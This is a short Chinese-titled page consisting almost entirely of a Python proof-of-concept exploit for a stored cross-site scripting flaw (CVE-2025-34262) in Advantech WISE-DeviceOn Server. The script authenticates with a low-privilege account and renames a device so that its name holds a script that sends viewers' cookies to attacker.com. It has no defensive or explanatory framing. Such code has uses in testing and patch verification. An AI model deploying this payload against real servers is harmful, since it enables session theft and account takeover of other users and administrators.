CVE-2025-34262 Advantech WISE-DeviceOn Server存储型XSS漏洞

import requests import json # CVE-2025-34262 PoC - Advantech WISE-DeviceOn Server Stored XSS # Target: /rmm/v1/devices/name/{agent_id} TARGET_URL = "http://target-server.com" LOGIN_URL = f"{TARGET_URL}/rmm/v1/auth/login" XSS_PAYLOAD = '<script>document.location="http://attacker.com/steal?c="+document.cookie</script>' def exploit_stored_xss(username, password, agent_id): """Exploit stored XSS via device rename functionality""" # Step 1: Authenticate with low-privilege account session = requests.Session() login_data = { "username": username, "password": password } response = session.post(LOGIN_URL, json=login_data) if response.status_code != 200: print("[-] Authentication failed") return False # Step 2: Rename device with XSS payload rename_url = f"{TARGET_URL}/rmm/v1/devices/name/{agent_id}" rename_data = { "new_name": XSS_PAYLOAD } response = session.put(rename_url, json=rename_data) if response.status_code == 200: print("[+] XSS payload stored successfully") print(f"[+] Payload will execute when users view device list/details") return True else: print(f"[-] Failed to store payload: {response.status_code}") return False if __name__ == "__main__": # Replace with valid credentials and agent_id exploit_stored_xss("attacker_user", "password123", "agent_device_001")